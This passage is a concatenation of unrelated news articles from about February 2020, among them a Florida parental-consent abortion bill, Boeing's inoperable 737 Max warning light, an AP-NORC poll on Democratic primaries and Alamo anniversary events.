Florida Legislature enacted a similar parental consent law but was struck down a decade later by the Florida Supreme Court which ruled that a womans right to privacy extended to pregnant minors. Bill supporters say the constitutional issue has been addressed in the current bill by including the judicial waiver and a provision that would allow abortions in cases of medical emergencies without parental notification. DeSantis said during his State of the State Address on Jan. 14, 2020 that he plans to sign the bill once it lands on his desk. As for the potential judiciary challenge for the bill, DeSantis said he welcomes it to be reviewed by the Florida Supreme Court, in which he appointed almost half of the justices in the 7-member panel, the Sarasota Herald-Tribune reported. DeSantis said the 30-year-old ruling deserves to be reconsidered, I think (parents) want to be involved with whats going on with their kids. Currently, twenty-six other states require that at least one parent give written permission to authorize a doctor to terminate the pregnancy of a minor. Five states including Oklahoma, Texas, Utah, Virginia, and Wyoming require both parental consent and notification. The Associated Press contributed to this report. A sixth person been arrested over the death of 17-year-old Tanesha Melbourne-Blake, almost two years after she was killed in a drive-by shooting in north London. The teenager was socialising with friends when she was shot dead from a vehicle in Tottenham on April 2, 2018. No one has ever been charged in connection with her death. Scotland Yard said on Friday that a 30-year-old man has been arrested on suspicion of murder. He is the sixth person to be held over the shooting after five others were arrested between March and April 2019. Shot dead in Tottenham: Tanesha Melbourne, 17 / PA A 30-year-old man, a 22-year-old man and an 18-year-old man were were detained but released under investigation. A 50-year-old man and 26-year-old man were also arrested but both were subsequently released with no further action. The suspect, in a silvery Vauxhaul Meriva people carrier, shot Tanesha in Chalgrove Road in Tottenham at about 9.35pm. Tragic scene: tributes for Tanesha Melbourne-Blake, who was shot dead this week / Ben Cawthra/LNP She died at the scene and the car, was found torched in Barnet five days later. Police revealed earlier this year that the weapon used to kill Tanesha was a "gun for hire", involved in the earlier murder of Joseph Williams-Torres, 20, in March 2018. Joseph was killed in a case of mistaken identity in Walthamstow, east London. Although the Metropolitan Police say there is no suggestion the two murders are linked, forensic tests on the bullet recovered from Tanesha's body found that the same handgun was used. Parliamentary speaker Mohammed al-Halbusi expressed full support for protesters demands Feb. 17, meeting with a 13-year-old protester whose nickname, Hamid Daghethoum, translates to "pressuring them," as in, pressuring the government. Hamid is known for posting videos of himself on social media, reciting poetry that voices the demands of Nasiriyah's protesters. He posted a video challenging Halbusi to meet with him if he supported the protests. Hamid is not the only youthful Iraqi who is active in the protests taking place in the squares of Iraqi cities throughout the country. The current protests are different from ones in years past due to a large number of youths under the age of 18, and many even under the age of 13, calling for the restoration of an Iraqi national identity, something the country has lacked for decades given successive crises, wars and the US occupation, in addition to sectarianism. Iraqi youths under the age of 18 have been killed, kidnapped and detained while participating in protests. Al-Monitor learned from medical sources that no less than 50 out of the 600 protesters killed in the protests were under the age of 18. These are violations of the UN Convention on the Rights of the Child, of which Iraq is a signatory. It states, The child shall have the right to freedom of expression, and provides for the rights of the child to freedom of association and to freedom of peaceful assembly." It adds, No child shall be subjected to arbitrary or unlawful interference and that the child has the right to the protection of the law against such interference or attacks. Fadlallah, 11, has attended the protests in the southern Iraqi city of Diwaniyah since October. I am joining the protests for the sake of the homeland, which is greater than a mother or a father," he said. "The homeland is sacred. He continued, My generation and I, not any outsider, will be ruling this country. Faris Kamal Nadhmi, a political psychology specialist, explained that the participation of children in the protests have both positive and negative impacts on their character in the future. While they learn important concepts like justice and civil protests against injustice, they get exposed to violence that affects their psychological health. Nadhmi pointed out that the brutality and violence enacted on children during the protests could evoke feelings of existential anxiety. They could come to perceive the world as a brutal, dangerous and insecure place. As they age, they could mistrust others and feel a greater pessimism on human nature. Children could develop post-traumatic stress disorder, depression or suicidal tendencies. Therese Tayah, a consultant for international institutions in Iraq since 2005, visited Tahrir Square during recent protests. She is afraid of the psychological effects the violence will have on youths. She said violence will have a detrimental impact on their future personalities and could lead to aggressive behavior. Nevertheless, the youth participation in protests could produce a new generation of Iraqis with an authentic national identity. By participating in peaceful national protests, youths could advocate for justice and claim their rights. Nadhmi said the protests have created a new reality for youths. From late childhood to early teens, they start identifying themselves as part of the groups of people surrounding them, as well as with their geographic environment. At the age of 11, the development process continues and they become more inclined to criticize this group of people. Taya and Nadhmi share the same opinion about youth integration into a particular group at the protests. While scouting Tahrir Square, Taya saw youths cleaning the streets, fixing electricity and sewage problems, and attending seminars on legal, political and social affairs. "I guess that the children taking part in the protests are mostly getting involved in something that is beneficial for their development," she said, "except for the violence that the militias and rogue security personnel exhibited." Based on that, the protest movement has actually contributed to the development of a new national identity for all an identity that has been absent in Iraq for decades. Share this article Whatsapp Facebook Twitter Linkedin Josa Lukman (The Jakarta Post) Jakarta Fri, February 21, 2020 11:51 691 7f440ff09e92db75a02bbad2065c6f9a 1 Lifestyle #lifestyle,#fashion,#fashion-designers,#batik,#contemporary,#FashionShow,#jewelry,#Purana,#Tempa,#Amero Free Indonesian fashion label Purana teamed up with Yogyakarta-based artist duo Tempa for its 2020 Spring/Summer collection. Known for its easy, versatile pieces, Purana unveiled its latest designs in a runway show held at the Shangri-La Hotel in South Jakarta. Thirty looks highlighted the recent yet ubiquitous trend of lounge outfits, matching ensembles that straddle the line between stay-at-home comfort clothes and activewear, or athleisure. Collaboration: The 2020 Spring/Summer presentation featured a line of lounge sets with patterns designed by Yogyakarta artist duo Tempa, along with jewelry by Amero. (Courtesy of Purana/-) With the blurring of dress codes and the rise of self-care movements, youd be forgiven for thinking that lounge sets are glorified pajamas. But the biggest names in fashion have elevated dressed-down dressing to be the new dressing up, with lush fabrics and eye-catching patterns. Puranas offerings are no different: loose, airy silhouettes that are more casual cool rather than couch potato, which was certainly elevated by Tempas patterns of the cosmic, the floral and the traditional. Comprised of Rara Kuastra and Putud Utama, the duo said the patterns they created tell a story of balance between living creatures and the universe. Two different patterns are used on the lounge sets. The daytime sets, based in white, open the show with sunrays, the traditional Javanese teko blirik and birds swooping through the sky. By contrast, nighttime sets in black have the moon and stars surrounding floral patterns in a more subdued tone. Relaxed: Silhouettes are quintessentially Purana, with loose fits for better sizing across the board and multiple styling options. (Courtesy of Purana/-) The presence of the moon and stars represents the stillness in accepting the coming and going of things, the duo said. Both patterns are available in Puranas lounge sets but are also seen in other garment styles, like T-shirt-dresses, a jumpsuit and a sleeveless top with matching trousers. The two patterns are a sort of collection within a collection, with other patterns and hues available that are designed in-house. Nonita Respati, Puranas creative director, said collaborations with artists have always been part of the brands approach to its annual Spring/Summer releases. We both want to strengthen our respective fan bases. We both also wanted to adapt Indonesias natural beauty into something that can be appreciated by the younger generation, as Purana has always aimed to capture a younger market as well, she said. Tempas patterns, Nonita said, can be an alternative for those who might have reservations about wearing the brands batik patterns in a casual setting. The batik patterns were developed with artisans in Pekalongan, Central Java. Featuring Indonesian flora like bananas and ginkgo leaves, the patterns run a bit more contemporary than traditional batik and might be mistaken for a simple floral pattern print at a glance. Sensuous: One fabric highlighted in the collection is cupro, which is claimed to mimic the texture of silk while being more sustainable. (Courtesy of Purana/-) For the batik pieces, Purana utilizes a natural fiber known as cupro, which is claimed to mimic the texture of silk but is more ecofriendly as it does not involve the killing silkworms. True to the claimed silky texture, the labels cuts are the sort of breezy silhouettes youd associate with a tropical summer. A sleeveless asymmetric maxi top in bamboo-patterned blue cupro was paired with a pair of structured yet loose trousers in dark grey; a thin rope belt cinching the waist provided a hint of tropical sensuality, highlighting the curve yet not overtly parading it. Puranas multistyling items also showed their versatility in their presentation, turning a sleeveless midi-length dress into a strapless maxi layered one under billowy, semi-sheer outerwear that encapsulates a beachside mood. Those not into patterns should not fret, as the collection also provides several solid-colored pieces, like a maxi top in dark grey featuring an asymmetrical hem that draped and swayed as the models breezed past. For the presentation, Purana collaborated with jewelry brand Amero, which showcased its Fillo line featuring a flexible mechanism for easy wear. Both brands are set to collaborate again in September at the Fashion Division Paris Fashion Show, during Paris Fashion Weeks 2021 Spring/Summer season. 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If you're having trouble locating a destination on Womenofchina.cn, try visiting the Womenofchina Home page Former Attorney General Eric Holder lashed out at a conservative journalist Wednesday, telling the reporter to 'shut the hell up' about donations a federal prosecutors allegedly made to Barack Obama. Author and journalist Paul Sperry shared a tweet on Tuesday discussing Molly Gaston, the federal prosecutor in question, and the announcement that the investigation into former FBI deputy director Andrew McCabe was over. McCabe was investigated by the federal government after he allegedly leaked information to a journalist in 2016. He soon became a target for President Trump and Republicans. Trump felt McCabe and former director James Comey were unfairly targeting him. Throughout the ordeal, McCabe and his lawyers vehemently denied any wrongdoing. Former Attorney General Eric Holder (left) blasted journalist Paul Sperry (right) on Twitter, telling the reporter to 'shut the hell up' Sperry wrote: 'BREAKING: Molly Gaston, the asst. US Attorney who signed letter to McCabe's lawyer informing McCabe she was closing criminal case against him, is [a] Democrat who's given thousands to Dems including Obama & who once worked for Dem side of House Oversight & whose mother worked for WaPo.' Sperry suggests that charges against McCabe were not filed because of apparent political alignments. In response, Holder called out Sperry for bias and said he does not have a real understanding of how the Department of Justice operates. 'Why don't you shut the hell up?' Holder said. 'Your bias is showing. I bet you've never been a prosecutor or have any idea how DOJ works. People like you-who want to use the justice system for political reasons-are both dangerous and ignorant. The case was-like you-an obvious loser.' Paul Sperry, a journalist and author, suggested that Assistant U.S. Attorney dropped the case against former FBI deputy director Andrew McCabe due to political affiliation Former Attorney General Eric Holder pushed back a day later, telling Sperry to 'shut the hell up' and said he has no real knowledge of the Department's workings Holder's harsh comments did little to dissuade Sperry from continuing to tweet about Holder, Obama or the Department of Justice. Sperry claims that both Obama and Holder were united under a 'racialist agenda' and that the government official politicized the Department of Justice while serving in his position. He wrote: 'Talk about no firewall between the attorney general and president -- Holder was Obama's wingman and their wives were BFFs, all united in the same racialist agenda.' 'Eric Holder completely politicized DOJ so he has a lot of gall weighing in on this issue.' Sperry doubled down on his stance and turned his attention to Holder, who he says had a 'racialist agenda' with former President Barack Obama Sperry: 'Eric Holder completely politicized DOJ so he has a lot of gall weighing in on this issue' Holder's outburst and Sperry's remarks come after it was revealed the Department of Justice would not pursue criminal charges against McCabe. McCabe was under investigation for nearly two years after he was accused of leaking information to a former Wall Street Journal reporter about Hillary Clinton's 2016 investigation. The leak confirmed the Clinton probe's existence after former FBI director James Comey refused to publicly acknowledge it. Of the experience, McCabe told CNN: 'It was traumatic to leave the FBI, certainly in the way that I did, and that's been tough to live with.' 'The added insult and suspicion that comes with being under criminal investigation just made the entire experience a million times worse.' Former FBI deputy director Andrew McCabe was investigated after he was accused of leaking information to a Washi He then lambasted federal investigators for taking such a long time to make a formal decision on the case. 'It is an absolute disgrace that they took two years, and put my family through this experience for two years, before they finally drew the obvious conclusion and one they could have drawn a long, long time ago,' he said. In a FBI report from Michael E. Horowitz, it said McCabe 'lacked candor' in conversations with Comey about the disclosure and with FBI agents when questioned about the leak on several occasions. McCabe was fired by then-Attorney General Jeff Sessions in March 2018 after Inspector General found that he had repeatedly misrepresented his involvement in the 2016 leak. Boeing Co. engineers discovered in 2017 that a software glitch had rendered a warning light on the newly introduced 737 Max inoperable on 80% of the planes. But the company chose not to fix it or to inform U.S. regulators. The next year, a Lion Air jet suffered the malfunction the alert was designed to detect and crashed in the Java Sea. The lack of an alert was cited as a factor in the crash by Indonesian investigators and Boeings failure to fix it drew stiff condemnation from lawmakers and families of the victims. Now the inoperable warning light is threatening to become a costly new headache for the planemaker: its absence on the jet violated U.S. Federal Aviation Administration regulations. The FAA is considering imposing civil penalties, according to documents and officials, which can amount to millions of dollars. A manufacturer cannot alter the airplanes features after it has been certified, the then-acting head of the FAA, Daniel Elwell, said in a letter to lawmakers last July, referring to the malfunctioning alert. The fines could accrue quickly. The agencys enforcement guidelines say large businesses such as Boeing can be assessed $3,000 to more than $34,000 per violation. That could be applied to each of the more than 300 planes on which the alert didnt work. Moreover, a 2015 agreement to settle 13 separate investigations against Boeing some of them involving similar issues of aircraft certification gives the FAA a way to take swift action against the company. Boeing paid $12 million in that case, but could be assessed an additional $24 million if the FAA finds the violations continued. At the very least, the failure to disclose the inoperative warning light combined with other recent disclosures by the company such as messages between employees mocking the FAA have significantly soured the relationship between the Chicago-based manufacturer and its regulator. J.E. Murdock, who served as FAAs chief counsel and acting deputy administrator in the 1980s, said hed never seen anything like what he called Boeings recent disregard for norms during his four decades of working in the aviation sector. I dont know how this came about, but its worrisome to me, Murdock said. Boeings decision to withhold two troves of caustic and sarcastic text messages and emails between its employees from the FAA runs contrary to agency policy encouraging self-disclosure. Boeing had compiled at least some of the messages early last year, but didnt disclose them to the FAA until last fall and in January. The FAA said in an emailed statement it doesnt comment on potential enforcement actions. Boeing spokesman Gordon Johndroe said the company wouldnt comment on any possible open investigations. The company said it may be subject to unspecified penalties in a filing with the Securities and Exchange Commission last month, but added it didnt anticipate a significant impact on its bottom line. Crashes involving the 737 Max there was a second one in Ethiopia last March, in which the alert also didnt work killed 346, grounded the plane worldwide and will cost the company an estimated $18.6 billion. The U.S. Justice Departments Criminal Division has gathered information about the plane through a grand jury. The SEC is also investigating whether Boeing properly disclosed issues with the plane to investors. Congress is also looking into the disasters, including a provision of the law that permitted Boeing to designate employees to perform much of the Max certification functions on behalf of the agency. One such designee signed off on the decision not to immediately fix the warning light issue. Elwells July letter provided a rare window into how the FAA views a high-profile matter that could become an enforcement case. It explicitly said the failure to fix the alert is a violation of agency regulations. The FAA agrees with Boeing that the failure to install a working warning system which illuminates when sensors that measure whether the nose is pointed above or below oncoming air disagree with each other wasnt a safety violation, Elwell said. However, once it was made part of the approved type design, it was required to be installed and functional on all 737 Max airplanes Boeing produced, he said. In comments during a Dec. 11 House Transportation and Infrastructure Committee hearing, Steve Dickson, who became FAA administrator in August, said he is considering action against Boeing for that and other issues. I have expressed my disappointment to the Boeing leadership about that, Dickson said at the hearing. And so, I reserve the right to to take further action and we very well may do that. The agency filed two unrelated enforcement cases against Boeing since December, seeking a total of $9.3 million for claims it knowingly installed substandard parts on wings, including on the 737 Max. In November, the FAA stopped granting Boeing employees authority to certify that individual aircraft were built to legal standards. Boeings actions on the so-called angle-of-attack disagree light also raise questions about the FAAs system of deputizing Boeing employees to conduct agency approvals and oversight. A Boeing employee who was the FAAs authorized representative signed off on the companys decision not to immediately repair the warning light, Representative Peter DeFazio, the Oregon Democrat who is chairman of the House committee that held the hearing, said in an interview. The involvement of the authorized representative was discovered in recently obtained documents, DeFazio said. That points to the huge problem at Boeing and the problem with the system, he said. The disagree light was standard equipment on earlier models of the 737, known as Next-Generation, and supposed to be included on the 737 Max. But a software change caused it not to function if airlines didnt order an optional display that showed what each angle-of-attack sensor was reading. As a result, 80% of the 387 Maxes the company delivered to airlines didnt have a working disagree light, according to Indonesias final report on the Lion Air crash off of Jakarta, which killed 189 on Oct. 29, 2018. A second crash, of an Ethiopian Airlines Group jetliner on March 10, killed 157 and resulted in the planes worldwide grounding. Ethiopian authorities said Friday they plan to release an interim report on the crash by its March 10 anniversary. The interim statement is meant to detail progress of the investigation and any safety issues raised. Boeing recognized the error just months after the 737 Max entered service in 2017, the company said in a statement posted on its website last May. The company followed its standard process for resolving such issues by consulting in-house experts, it said in the statement. A review found that the absence of a disagree light wasnt a safety issue, according to the statement. There are no emergency procedures associated with the disagree light for pilots and the planes provide flight crews other indications that the sensors have failed. As a result, the company decided to repair the alert in a later software update. Boeings senior company leadership wasnt involved in the decision, it said in the statement. Only after the Lion Air accident did the company inform the FAA. The company plans to ensure that the alert works on the planes before the grounding is lifted. The alert was relevant to the Lion Air crash because it should have activated before the accident and on a previous flight, the investigation concluded. If it had done so, it might have helped mechanics diagnose and fix the issue before the crash, the report concluded. A malfunctioning angle-of-attack sensor is what prompted an automated system to repeatedly push down the planes nose. Its not clear whether the FAA will bring a case against Boeing related to the 737 Max, and it can take years from the time it starts an investigation until the agency imposes a penalty. The FAA often waives or lowers penalties if companies promise to spend the money on fixing errors. One potential complication to any such case is the criminal investigation. Its not uncommon for the Justice Department to ask agencies such as the FAA to delay their enforcement cases if they interfere with a possible criminal case. In its settlement agreement between FAA and Boeing in 2015, the company agreed to tighten up its internal audits and make regular reports to the agency about its compliance, including ensuring that aircraft conform to their designs, according to a press release at the time. When asked during the December hearing whether Boeing had complied with the settlement, Dickson said he hadnt decided yet. But its something thats under consideration and it could be the subject of future litigation, he said. The largest fine ever paid in an FAA enforcement action was $24.9 million by American Airlines, now known as American Airlines Group Inc., in 2013. If past FAA practice is a guide, the amount of any civil penalties will be relatively low compared to fines levied against automakers or financial institutions in recent years, which has rankled lawmakers such as DeFazio. I think that when companies become repeat offenders, there should be a dramatically escalating series of fines and actions, DeFazio said. With assistance from Tom Schoenberg, Julie Johnsson and Ryan Beene. Copyright 2022 Bloomberg. WASHINGTON Democratic voters feel generally positive about all of their top candidates running for president, but they have only moderate confidence that their partys nomination process is fair, according to a new poll by The Associated Press-NORC Center for Public Affairs Research. U.S. voters from across the political spectrum have mixed confidence in the fairness of either partys system for picking a candidate, but Democrats are especially likely to have doubts about their own partys process. Among Democratic voters, 41% say they have a great deal or quite a bit of confidence in the Democratic Partys nomination process, while 34% have moderate confidence and 25% have little to no confidence. Among Republicans, meanwhile, 61% say they have high confidence in their partys process, and just 13% have low confidence. President Donald Trump has only nominal opposition in the GOP nomination process, and several state Republican parties have even canceled holding a primary. For Democrats, the results reveal early signs of fallout from whats shaping into a contentious and divisive primary, and sharpen focus on the prospect that the nominee may be chosen in a messy vote at a brokered convention. The anxieties have been exacerbated by a breakdown in the vote count in the kickoff Iowa caucus, an outcome Nevada officials are working to avoid in their caucus Saturday. Julianne Morgan, 29, of Dayton, Ohio, said her confidence in the Democratic Partys process was undercut earlier this month when Democrats delayed tabulating the results of the first-in-the-nation Iowa caucuses because of problems with a buggy mobile app. Her concerns were further exacerbated this week after reading that Sen. Elizabeth Warren, a Massachusetts Democrat who is third in the delegate count, was excluded in hypothetical head-to-head matchups against Trump in some recent polls. It doesnt sound like theres been fair representation for all the candidates, said Morgan, who is supporting Warrens candidacy. The poll builds on AP VoteCasts earlier findings of distrust in the system among Democrats who voted in last weeks New Hampshire primary. Some respondents said they worry that an increasingly bitter internal battle for the Democratic nomination could weaken whomever emerges to take on Trump in November. The poll was conducted before White House hopefuls on Wednesday took part in the most contentious debate of the cycle. Democrats are set to host their third 2020 nominating contest on Saturday in Nevada. They keep digging at each other, said Roger Kempton, 85, of Niles, Michigan, a Trump voter in 2016 who said he plans to vote for a Democratic candidate in 2020. They say beating Trump is the most important thing, but they keeping fighting each other. Its only making people like myself unhappy with the choices. Others raised concerns that the Democrats have hung on too long to the tradition of giving Iowa the first spot on the nominating calendar. Since 1972, the top voter-getter in the Democratic caucuses has gone on to win the nomination in seven of 10 contested races. But only Jimmy Carter in 1976 and Barack Obama in 2008 won the presidency. Iowa is not a very diverse state, and I feel like it doesnt really represent the country well, said Katie Lewis of Lexington, Kentucky, who backs Vermont Sen. Bernie Sanders. Among Democratic respondents, self-described moderates and conservatives are more likely than liberals to have high confidence that their process is fair, 46% to 34%. Those age 45 and older are also more confident than those who are younger, and nonwhite Democrats are more confident than white Democrats. The poll shows that Sanders gets slightly higher ratings nationally from Democratic voters compared to his nearest primary rivals, some of whom remain less well known even within the party. Seventy-four percent of Democratic voters say they have a favorable opinion of Sanders, while 67% say that of former Vice President Joe Biden, 64% for Warren, and 58% for former South Bend, Indiana Mayor Pete Buttigieg. About half of Democrats express favorable opinions of billionaire Mike Bloomberg and Minnesota Sen. Amy Klobuchar, while nearly 4 in 10 say they have a positive opinion of billionaire Tom Steyer. Many Democratic voters say they dont know enough to have an opinion of many of the candidates, including Steyer (52%), Klobuchar (39%), Buttigieg (28%), Bloomberg (25%) and Warren (16%). But about 2 in 10 Democrats express negative opinions of Biden, Bloomberg, Warren and Sanders. The more moderate Democrats Biden, Bloomberg, Buttigieg and Klobuchar have all raised questions about whether Sanders, 78, a self-described democratic socialist, is too far to the left of the American electorate. Both Sanders and Warren who support heftier taxes on the wealthy to pay for expanded health care, free college, and other programs have been branded by rivals as too liberal. Biden had poor showings in Iowa and New Hampshire and has faced questions about whether his best days as a politician are in the past. Bloomberg, the former New York City mayor and billionaire founder of a financial, software, data, and media company, didnt enter the race until November. Some of his Democratic rivals, as well as Trump, have accused Bloomberg of trying to buy the nomination by pumping in hundreds of millions of dollars of his own fortune to fund campaign ads in the more than a dozen Super Tuesday states and U.S. territories. Those March 3 contests account for more than a third of all delegates at stake. Bloomberg has also faced criticism for disparaging comments about transgender people, his support of stop-and-frisk, a controversial policing strategy that led to disproportionate stops of African Americans and Latinos in the nations biggest city, and complaints that he repeatedly made misogynistic comments to women who worked for him the 1980s and 1990s. Wanda Gibson, 58, a Democrat from suburban Cincinnati, Ohio, who is undecided about who shell support, said that Bloombergs backing of stop-and-frisk and his sexist comments were wrong. But she also said that she worried that some Democrats are discounting the possibility that Bloomberg has changed. Weve all done or said something in our past that would not necessarily be politically correct, said Gibson, who said she is still weighing which Democrat shell back. The problem is that we have Donald Trump, someone who continues to do this stuff daily, sometimes hourly. If someone did something 10 years ago, they can evolve. ___ The AP-NORC poll of 1,074 adults was conducted Feb. 13-16 using a sample drawn from NORCs probability-based AmeriSpeak Panel, which is designed to be representative of the U.S. population. The margin of sampling error for all respondents is plus or minus 4.2 percentage points. ___ Online: AP-NORC Center: http://www.apnorc.org/ WASHINGTON (dpa-AFX) - Pinnacle West Capital Corp. (PNW) reaffirmed its 2020 estimated consolidated earnings to be within a range of $4.75 to $4.95 per share. The company expects to achieve a weather-normalized, consolidated earned return on average common equity of more than 9.5 percent. Fourth-quarter net income attributable to common shareholders was $64.0 million, or $0.57 per share compared to net income of $26.1 million, or $0.23 per share, a year ago. The company said meeting the original guidance range was made possible in part to operations and maintenance savings. Operating revenues declined year-on-year to $670.39 million from $756.38 million. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Since the beginning of the sea blockade in the Kerch Strait, Russia has detained 2,249 vessels, of which every second was European. Total losses from their downtime amount to $45 million. Editor-in-chief of the BlackSeaNews portal Andriy Klymenko said this at the meeting of the European Parliament delegation at the EU-Ukraine Parliamentary Association Committee in Brussels, an Ukrinform correspondent reports. After the escalation of the situation in November 2018, the downtime of vessels when passing the Kerch Strait was up to five days. The resolution of the European Parliament, the statements by the European Commission and the U.S. Department of State, individual EU countries and the British Commonwealth appeared at that time. After that, the cargo ships had to wait an average of 30 hours before Russians allowed them to head towards Mariupol or Berdyansk, there was a sharp decrease in downtime and that figure remained for about half a year. Some started to say that the "Kerch crisis" was settled. But before the start of the blockade, the passage time along the Kerch Strait did not exceed 5-7 hours, Klymenko said. During the blockade of the Kerch Strait, Russia has artificially detained 2,249 vessels, each of which lost four days on average due to the actions of the FSB of Russia in the Sea of Azov. One day of such downtime is worth about $10,000, so the forced downtime alone caused at least $ 45 million in damages. At the same time, more than half of the ships subjected to unreasonable detentions in the Kerch Strait are related to the EU, having a European flag, shipowner, or port of destination, the Ukrainian expert informed. ol US intelligence officials are reported to have warned members of Congress last week that Russia was trying to interfere in the 2020 election campaign in favour of Donald Trump, in a briefing that led to the abrupt removal of the acting director of national intelligence. When Trump heard about the briefing, he railed at the acting DNI, Joseph Maguire, in the Oval Office, over what the president saw as disloyalty, the Washington Post reported. Until then, Maguire had been a leading candidate to become permanent DNI and is understood to have told colleagues he expected to stay on in the position. But in the wake of the briefing and Oval Office confrontation, Trump announced the appointment of a hardline loyalist, the US ambassador to Germany, Richard Grenell, in an acting capacity, which does not require Senate confirmation. According to the New York Times, the briefing last Thursday to the House intelligence committee was delivered by an aide to Maguire, Shelby Pierson, described as having a reputation for delivering intelligence in somewhat blunt terms. The Washington Post reported that Trump had been under the false impression that the briefing had been provided exclusively to the House intelligence committee chair, Adam Schiff, who had acted as chief prosecutor in the presidents impeachment trial. Trump is said to have become convinced that the briefing would be used against him in the election. Unlike Maguire, a retired vice-admiral who ran the National Counterterrorism Center, Grenell has no intelligence experience (he was a spokesman for the US mission at the UN before being named ambassador) and is an outspoken partisan, particularly on social media. So the Grenell appointment is exactly what it looks like a bid to politicize intelligence and hide information from Congress in an election year where Russia is again helping Trump, said Matthew Miller, a former justice department spokesman, in a tweet. Related: Trump appoints loyalist Richard Grenell to oversee spy agencies Story continues According to the New York Times account, last weeks briefing was contentious, with Trumps allies on the intelligence committee challenging the conclusions, arguing that the administration had been tough on Russia. As Grenell was confirmed in his ambassadorial job, the president has the authority to install him as acting DNI under the Federal Vacancies Reform Act, but under the same act, he can only serve until 11 March, unless the president formally nominates a candidate for the permanent position. If a nomination is being reviewed by the Senate, the acting director could stay in the post for a few more months during the confirmation process. Grenell said on Twitter that the president will announce the nominee (not me) sometime soon. By Express News Service VIJAYAWADA: Vijayawada police arrested the notorious house break-in gang that committed a robbery at knifepoint a week ago at Katur village in Vuyyur mandal on Tuesday.The five accused were identified as Pala Siva alias Rajesh, Mekala Yesu, Penumaka Mahesh, Doddi Pothuraju and Pala Venu and all members of Peddintigolla dacoity gang, based in Tenali. The gang members so far have committed around six similar crimes in Telangana, Karnataka and Tamil Nadu and also served a jail term. Police have formed special teams to nab one more accused, who was at large.From one Aarepalli Naga Rajanikanths house, the six accused robbed 62 grams of gold ornaments, Rs 10,000 cash and an iPhone after threatening to kill members of his family on February 11. Fearing that their fate would be similar to that of Yedupati Padmavathi, who was killed at her residence in Bhavanipuram in broad daylight, Rajanikanth gave all the ornaments and cash in his home to the dacoits. Based on Rajanikanths complaint, Vijayawada city police chief Ch Dwaraka Tirumala Rao formed a team to find out the accused. The accused took a rented house at Boddapadu village in Thotlavallur mandal and committed petty crimes during night hours, targeting lone women and isolated houses most. The accused had conducted a recce before breaking in Rajanikanths house. The accused threatened Rajanikanth and his family with an iron rod and knife and demanded money. They came in an auto and parked it near a field, said Tirumala Rao. But the couple has not said how they plan to capitalize on that only that they value the ability to earn a professional income and want to set up a new nonprofit while also becoming financially independent. Last year, in addition to accepting money from the taxpayer-funded Sovereign Grant, they got millions from Harrys father, Charles, through his Duchy of Cornwall estate. The Alamo will launch two weeks of re-enactments, ceremonies, special events and daily demonstrations, starting today in observance of the 13-day siege and battle for Texas independence in 1836. A 15-day series of living history demonstrations and free and paid events begins this weekend and runs through March 7 at the historic mission and battle site. An Evening with Heroes, a ticketed after-hours theatrical presentation, is set to begin at 6:30 p.m. today on the Alamo grounds. At 11 a.m. Sunday, a free event in Alamo Plaza, La Gran Marcha Del Ejercito Mexicano, will re-create the arrival of the army led by Mexican Gen. Antonio Lopez de Santa Anna 184 years earlier. The troops entry into the village of Bejar on Feb. 23, 1836, marked the beginning of the siege, with about 200 Texians and Tejanos in the Alamo compound, surrounded by some 1,600 Mexican troops. The former mission had been converted to a military post under Spanish rule in the early 1800s, then occupied by Mexican troops after Mexico won independence from Spain in 1821. More Information Alamo Events All events take place at the Alamo or Alamo Plaza. Today "An Evening with Heroes": After-hours theater tour captures what it was like to be at the Alamo just before the battle. 6:30-9 p.m.. Tickets required; go to thealamo.org Sunday "La Gran Marcha Del Ejercito Mexicano": Re-creation of the arrival of the army led by Mexican Gen. Antonio Lopez de Santa Anna. 11 a.m., Alamo Plaza Monday "Never Surrender or Retreat": Re-enactment of Alamo commander William Barret Travis writing his famous "victory or death" letter. 10 a.m. Friday, Feb. 28 Movie Night: John Wayne's 1960 film, "The Alamo," will be shown at sunset. Bring your own chairs, blankets and snacks. 6-9 p.m. Saturday, Feb. 29 "Remember": A musical honoring the Alamo defenders. 2 p.m. and 7 p.m.. Tickets required; go to tobincenter.org Sunday, March 1 "The Immortal 32 Arrive": Re-enactment of the arrival of 32 men from Gonzales, answering Travis' plea for aid. 11 a.m. Friday, March 6 "Dawn at the Alamo": A reverent, candlelit ceremony commemorates the early morning battle 184 years ago. 6 a.m. See More Collapse During the 1835-1836 Texas Revolution, Texian forces seized control of the Alamo and the village in December 1835, setting the stage for the storied siege and Battle of the Alamo. On ExpressNews.com: Texans remember Alamo with soul-stirring events On the morning of March 6, 1836, Mexican forces attacked the fort. All 189 Texian and Tejano defenders whose names are known were killed or executed. About 20 women, children and other survivors were spared. News of the battle, and of the execution of 342 men three weeks later at Goliad, generated American support for Texas independence. The revolution ended when Santa Anna, captured after the Battle of San Jacinto, signed a treaty to end the war. Texas became a U.S. state on Dec. 29, 1845. After the U.S.-Mexican War, the 1848 Treaty of Guadalupe Hidalgo recognized U.S. annexation of Texas, and ceded California and most of the Southwest to the United States. The Alamos iconic church, topped with a roof and its famed humped parapet when the U.S. Army converted it to a warehouse in about 1850, now remains a symbol of the siege and battle whose outcome helped shape the American West. Alamo Plaza, which became a center of commerce and cultural gatherings as the city grew around it, is undergoing a major site renovation to include construction of an Alamo museum, interpretation of the historic battleground and restoration of the mission-era church and Long Barrack. The city has committed $38 million to the project, and the Texas General Land Office has secured $100 million from the Legislature. The nonprofit Alamo Endowment plans to privately raise at least $200 million more. Leaders of the project recently secured permits from the Texas Historical Commission to begin work on utility relocation and planting of trees on the plazas south end in the projects first phase. Parts of Bonham and Crockett streets will be closed to traffic and converted to pedestrian space. A document filed by a project consultant on Wednesday with the Texas Department of Licensing and Regulation estimates the first phase, to be funded by the city, will cost $15 million and cover just over 102,000 square feet. On ExpressNews.com: Alamo remembers Immortal 32 from Gonzales But the project team must return to the historical commission at its March 24-25 meeting in Houston to request a permit to continue with the teams plan to repair and move the 1930s Alamo Cenotaph about 500 feet south. The commission in January asked the team to provide information on alternative sites in the plaza where the monument honoring the defenders could be placed. Project leaders have said the Cenotaph relocation is needed to restore an open plaza to interpret the entire 300-year recorded history of the mission and battle site. Opponents believe the monument should stay where it has been since it was erected, within the area of the fort that men died defending. They want the historical 